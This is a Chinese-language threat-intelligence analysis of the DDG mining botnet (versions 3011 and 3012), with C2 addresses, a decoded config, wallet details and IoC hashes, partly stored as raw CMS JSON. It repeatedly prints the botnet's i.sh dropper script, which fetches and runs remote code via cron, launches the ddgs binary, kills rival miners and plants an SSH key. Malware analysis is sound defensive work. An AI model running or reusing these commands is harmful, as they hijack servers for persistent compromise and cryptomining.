echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
原文(2018.5.21)
今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 DDG.Mining.Botnet 。
近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。
DDG 3011 版本的概要特征如下：
* 启用了新的 XMR 钱包地址42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik ；
* 挖矿程序变更为 2t3ik ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；
* 启用多个矿池，这应该被理解成为一种失效保护机制；
* 样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；
* 启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；
* 相同的持久驻留机制：将 i.sh 脚本写入到 Crontab 中定期更新、运行。
7379 及相关端口上的扫描流量异常
近期，我们的 ScanMon 系统显示 Redis 服务相关端口的扫描流量骤增，如下：
上图中，与该扫描相关的关联端口共计 7 个，分别是 ：
* Redis 相关的三个：6379, 6380, 7379
* SSH 相关的三个：22, 2222, 22222
* HTTP 相关的一个：8000
我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。
样本执行流程
我们捕获了这次事件相关的核心样本：
hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=999fc24f53034b4c73866a0699be15fa
该样本的执行流程如下：
新旧样本最明显的相似之处，是通过把 i.sh 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 i.sh 脚本内容如下：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
ddgs.i686 还会在失陷主机本地的 /var/spool/cron/crontabs/root 或者 /var/spool/cron/crontabs 处写入定时任务脚本，从云端下载最新的 i.sh 脚本定时执行（ %s 处为最新的 i.sh 下载链接），实现持久驻留：
*/1 * * * * curl -L %s | sh
*/1 * * * * wget -q %s -O - | sh
然后，ddgs.i686 会尝试在当前肉鸡的 ~/.ssh/authorized_keys 中注入以下 SSH Pub Key：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost
ddgs.i686 样本中内置了一个 ip:port 的 List，其中 2 个主要的 165.225.157.157:8000 和 165.227.149.151:8000 ，其他算是备用，全部列表如下：
iplist_v3011_1.txt
样本 ddgs.i686 启动之后，会依次连接上述 ip:port 检查是否可以访问：
对每个成功握手的 ip:port ，ddgs.i686 都会尝试向 hxxp://<C2:8000>/slave 发送 HTTP POST 请求：
如果 C2 正常工作，则会返回一串用 msgPack 序列化编码后的配置文件数据：
由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 msgPack 通用反序列化再大概还原后如下：
{
'Data':
Config:
Interval:"360s";
Miner:[
{Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"},
{Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
];
Cmd:[
(AAredis:{
Id: 6016;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
Duration: "168h";
aIPDuration: "23h";
GenLan;
GenAAA;
Ports: (6379, 6380, 7379)
}),
(AAssh:{
Id: 2017;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
NThreadsd;
Duration: "168h";
aIPDuration:"26h"
GenLan;
GenAAA;Ports: (22, 2222, 22222)
}),
(Update:(
{
Id: 142;
Version: 3010;
Timeout: "26m";
Exe: "/tmp/ddgs.3011";
Md5: "999fc24f53034b4c73866a0699be15fa";
Url: "/static/3011/ddgs.i686";
Killer: 132;
},
{
Id: 197;
Version:3011;
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
Timeout: "360s";
},
{
Id: 198;
Version: 3011;
Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
Timeout: "360s";
},
{
Id: 199;
Version: 3011;
Expr: "/tmp/2t3ik.+";
Timeout: "360s";
LKProc: 132;
},
{
Id: 177;
Version: 3011;
Expr: ".+";
Timeout: 360s'
}
)
],
'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s)\xbf\xc4H\xa4\xa5le\xd5J\x8b\x0f8?\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq\xc3\xdebS\x03\x90K\t4\x9e=\x94\xd1w~V\xa3\xad$\x10\'\xa2y\xaa\xe6\x0ep\xd8\x00\xf2\xf7B\xc6\x18\xa4\x16_q/K\xf8\x05\n\x98:-\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d=\x05L@\xc3\xf6\n>\xb2\xedY\x16.\x14\x7fc\xf9\xafT\xa3\xfbzq/y\xba4\xd8k\x82rh\x17\xd8\xd5\'EU~\x1ag\x0f\xb2\xa0\xa3C\xff\xcbSj\xccI\xe4\x98\x99\xc3\xe8\xfe\xe7\xfd\xf5\x07\xce\x8d\x97d\x1e\xae\ta\xf3\x8e\x05\xf7\xb7\x95\xe7\x82|\x8eS\x0b\x11\xcb\xa3'
}
结合配置文件和样本分析，可以发现以下几个关键点：
1. 配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 http://<C2:8000>/Miner_URI 处下载 Miner 程序并另存到指定路径；
2. 配置文件中提供了最新的 i.sh 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；
3. 配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 Shared scip 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）
4. 配置文件中的 GenLan / GenAAA 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 WAN_IP ，然后在 WAN_IP/8 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。
5. 配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。
挖矿
样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 2t3ik.p 和 2t3ik.m 到当前失陷主机的 /tmp/ 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致：
* 钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
* 涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 47.90.204.154:443 是矿池 Proxy，该主机位于 阿里云 ;在矿池 supportxmr.com 中的 TotalPaid 为 150.5194868540 XMR ，按当前市价折合人民币 181,311.3 ￥ ；在矿池 nanopool.org 中TotalPaid: 1268.5880545439 XMR ，按当前市价折合人民币 1527,519.6￥。
3011 是一个测试或过渡版本
最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 2t3ik.p 和 2t3ik.m 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 3011 只有hxxp://165.225.157.157:8000/static/3011/ddgs.i686 这一个核心样本，不像版本 3010 ，同时存在 ddgs.i686 和 ddgs.x86_64 两个核心样本。所以，可以认为版本 3011 目前处于测试阶段，或者只是一个过渡版本。
IoC
Sample
md5=9ebf7fc39efe7c553989d54965ebb468 uri=hxxp://165.225.157.157:8000/static/imWBR1
md5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg
md5=8eaf1f18c006e6ecacfb1adb0ef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes
md5=754487fd92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imWBR1.ig
md5=52f06ca981a6e6cbc89b095ea6db1bf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s
md5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p
md5=54259015b8ead37ac66da056769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m
md5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik
md5=999fc24f53034b4c73866a0699be15fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686
md5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686
md5=45774309c72839d6d4303024059e7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64
md5=884a57a0e4f9d222117aeca111095d7a uri=hxxp://165.225.157.157:8000/i.sh | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/06/C2_host.png","alt":"","title":""}],["code",{"code":"md5=e31c1d7a8025e7c3266a07e37c55a4ba uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686\nmd5=26b3aef91bacfa082deff9812acf7875 uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh\" > /var/spool/cron/root\necho \"*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh\" >> /var/spool/cron/root\nmkdir -p /var/spool/cron/crontabs\necho \"*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh\" > /var/spool/cron/crontabs/root\necho \"*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012\nif [ ! -f \"/tmp/ddgs.3012\" ]; then\n curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012\nfi\nchmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill\n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["hr",{}],["image",{"src":"__GHOST_URL__/content/images/2018/06/ddgs_samples.png","alt":"","title":""}],["code",{"code":"c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC \n532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC \n"}],["code",{"code":"md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64 \n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/root \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/crontabs/root \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011 \nif [ ! -f \"/tmp/ddgs.3011\" ]; then \n curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011\nfi \nchmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["hr",{}],["image",{"src":"__GHOST_URL__/content/images/2018/05/port_scan.png","alt":"","title":""}],["code",{"code":"hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=999fc24f53034b4c73866a0699be15fa \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ddgs_3011_flowchart.png","alt":"","title":""}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/root \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/crontabs/root \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddgs.3011\" ]; then \n curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011\nfi \nchmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/passwords.png","alt":"","title":""}],["code",{"code":"*/1 * * * * curl -L %s | sh\n*/1 * * * * wget -q %s -O - | sh\n"}],["code",{"code":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ip_list_conn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ip_list_http_post.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/05/http_post_resp_mask.png","alt":"","title":""}],["code",{"code":"{\n 'Data': \n Config: \n Interval:\"360s\";\n Miner:[\n {Exe: \"/tmp/2t3ik.p\", Md5: \"b44bce2047f2254e5e7e8b0730caae2e\", Url: \"/static/2t3ik.p\"}, \n {Exe: \"/tmp/2t3ik.m\", Md5: \"54259015b8ead37ac66da056769520db\", Url: \"/static/2t3ik.m\"}\n ];\n Cmd:[\n (AAredis:{\n Id: 6016;\n Version: 3011; \n ShellUrl: \"http://165.225.157.157:8000/i.sh\"; \n Duration: \"168h\";\n aIPDuration: \"23h\"; \n GenLan;\n GenAAA;\n Ports: (6379, 6380, 7379)\n }),\n (AAssh:{\n Id: 2017;\n Version: 3011;\n ShellUrl: \"http://165.225.157.157:8000/i.sh\";\n NThreadsd;\n Duration: \"168h\";\n aIPDuration:\"26h\"\n GenLan;\n GenAAA;Ports: (22, 2222, 22222)\n }),\n (Update:(\n {\n Id: 142;\n Version: 3010;\n Timeout: \"26m\";\n Exe: \"/tmp/ddgs.3011\";\n Md5: \"999fc24f53034b4c73866a0699be15fa\";\n Url: \"/static/3011/ddgs.i686\";\n Killer: 132;\n },\n {\n Id: 197;\n Version:3011;\n Expr: \".+(cryptonight|stratum+tcp://|dwarfpool.com).+\";\n Timeout: \"360s\";\n },\n {\n Id: 198;\n Version: 3011;\n Expr: \"./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg\";\n Timeout: \"360s\";\n },\n {\n Id: 199;\n Version: 3011;\n Expr: \"/tmp/2t3ik.+\";\n Timeout: \"360s\";\n LKProc: 132;\n },\n {\n Id: 177;\n Version: 3011;\n Expr: \".+\";\n Timeout: 360s'\n }\n )\n ],\n 'Signature': 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uri=hxxp://165.225.157.157:8000/static/imWBR1 \nmd5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg \nmd5=8eaf1f18c006e6ecacfb1adb0ef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes \nmd5=754487fd92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imWBR1.ig \nmd5=52f06ca981a6e6cbc89b095ea6db1bf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s \nmd5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p \nmd5=54259015b8ead37ac66da056769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m \nmd5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik \nmd5=999fc24f53034b4c73866a0699be15fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686 \nmd5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686 \nmd5=45774309c72839d6d4303024059e7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64 \nmd5=884a57a0e4f9d222117aeca111095d7a uri=hxxp://165.225.157.157:8000/i.sh "}]],"markups":[["strong"],["code"],["a",["href","__GHOST_URL__/file/iplist_v3012.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_2.txt"]],["a",["href","__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/"]],["a",["href","https://scan.netlab.360.com/#/dashboard?tsbeg=1525622400000&tsend=1526054400000&dstport=7379&toplistname=similardstport&topn=10"]],["a",["href","__GHOST_URL__/file/iplist_v3011_1.txt"]],["a",["href","https://msgpack.org/"]]],"sections":[[1,"p",[[0,[0],1,"UPDATE(2018.6.13)"]]],[1,"p",[[0,[],0,"6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下："]]],[3,"ul",[[[0,[],0,"更换主 C2 为 "],[0,[0],1,"69.64.32.12:8000"],[0,[],0," ；"]],[[0,[],0,"修改用来持久驻留的 i.sh 脚本；"]],[[0,[],0,"更新备用 C2 IP 列表；"]],[[0,[],0,"云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；"]],[[0,[],0,"矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： "],[0,[0],1,"42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"],[0,[],0,"在矿池 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"],[0,[0],1,"i.sh"],[0,[],0," 。"]]]],[10,4],[1,"h3",[[0,[0],1,"新的矿机程序"]]],[1,"p",[[0,[],0,"最新的矿机程序 "],[0,[0],1,"qW3xT"],[0,[],0," 和 "],[0,[0],1,"qW3xT.1"],[0,[],0,"，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件："]]],[10,5],[1,"p",[[0,[],0,"矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 "],[0,[1],1,"47.90.204.154"],[0,[],0," 变成了 "],[0,[1],1,"47.52.57.128/165.225.157.157"],[0,[],0," 两个。"]]],[1,"h3",[[0,[0],1,"ddgs.x86_64"]]],[10,6],[1,"p",[[0,[],0,"v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。"],[0,[0],1,"自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本"],[0,[],0,"。"]]],[1,"h3",[[0,[0],1,"最新的备用 C2 IP 列表"]]],[1,"p",[[0,[],0,"5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）："]]],[1,"p",[[0,[0,3],2,"iplist_v3011_2.txt"]]],[1,"h3",[[0,[0],1,"i.sh 的变动"]]],[1,"p",[[0,[],0,"因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 "],[0,[0],1,"i.sh"],[0,[],0," 也做了相应改动，可以通过 "],[0,[1],1,"ddgs.$(uname -m)"],[0,[],0," 来适配 i686 和 x86_64 的失陷主机："]]],[10,7],[10,8],[1,"p",[[0,[0],1,"原文(2018.5.21)"]]],[1,"p",[[0,[],0,"今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 "],[0,[4],1,"DDG.Mining.Botnet"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。"]]],[1,"p",[[0,[],0,"DDG 3011 版本的概要特征如下："]]],[3,"ul",[[[0,[],0,"启用了新的 XMR 钱包地址"],[0,[1],1,"42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"],[0,[],0," ；"]],[[0,[],0,"挖矿程序变更为 "],[0,[0],1,"2t3ik"],[0,[],0," ，但命名规则没有变化，仍然是钱包地址的末尾 5 位；"]],[[0,[],0,"启用多个矿池，这应该被理解成为一种失效保护机制；"]],[[0,[],0,"样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；"]],[[0,[],0,"启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；"]],[[0,[],0,"相同的持久驻留机制：将 "],[0,[0],1,"i.sh"],[0,[],0," 脚本写入到 Crontab 中定期更新、运行。"]]]],[1,"h3",[[0,[0],1,"7379 及相关端口上的扫描流量异常"]]],[1,"p",[[0,[],0,"近期，我们的 "],[0,[5],1,"ScanMon"],[0,[],0," 系统显示 Redis 服务相关端口的扫描流量骤增，如下："]]],[10,9],[1,"p",[[0,[],0,"上图中，与该扫描相关的关联端口共计 7 个，分别是 ："]]],[3,"ul",[[[0,[],0,"Redis 相关的三个：6379, 6380, 7379"]],[[0,[],0,"SSH 相关的三个：22, 2222, 22222"]],[[0,[],0,"HTTP 相关的一个：8000"]]]],[1,"p",[[0,[],0,"我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。"]]],[1,"h3",[[0,[0],1,"样本执行流程"]]],[1,"p",[[0,[],0,"我们捕获了这次事件相关的核心样本："]]],[10,10],[1,"p",[[0,[],0,"该样本的执行流程如下： "]]],[10,11],[1,"p",[[0,[],0,"新旧样本最明显的相似之处，是通过把 "],[0,[0],1,"i.sh"],[0,[],0," 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 "],[0,[0],1,"i.sh"],[0,[],0," 脚本内容如下："]]],[10,12],[10,13],[1,"p",[[0,[],0,"ddgs.i686 还会在失陷主机本地的 "],[0,[1],1,"/var/spool/cron/crontabs/root"],[0,[],0," 或者 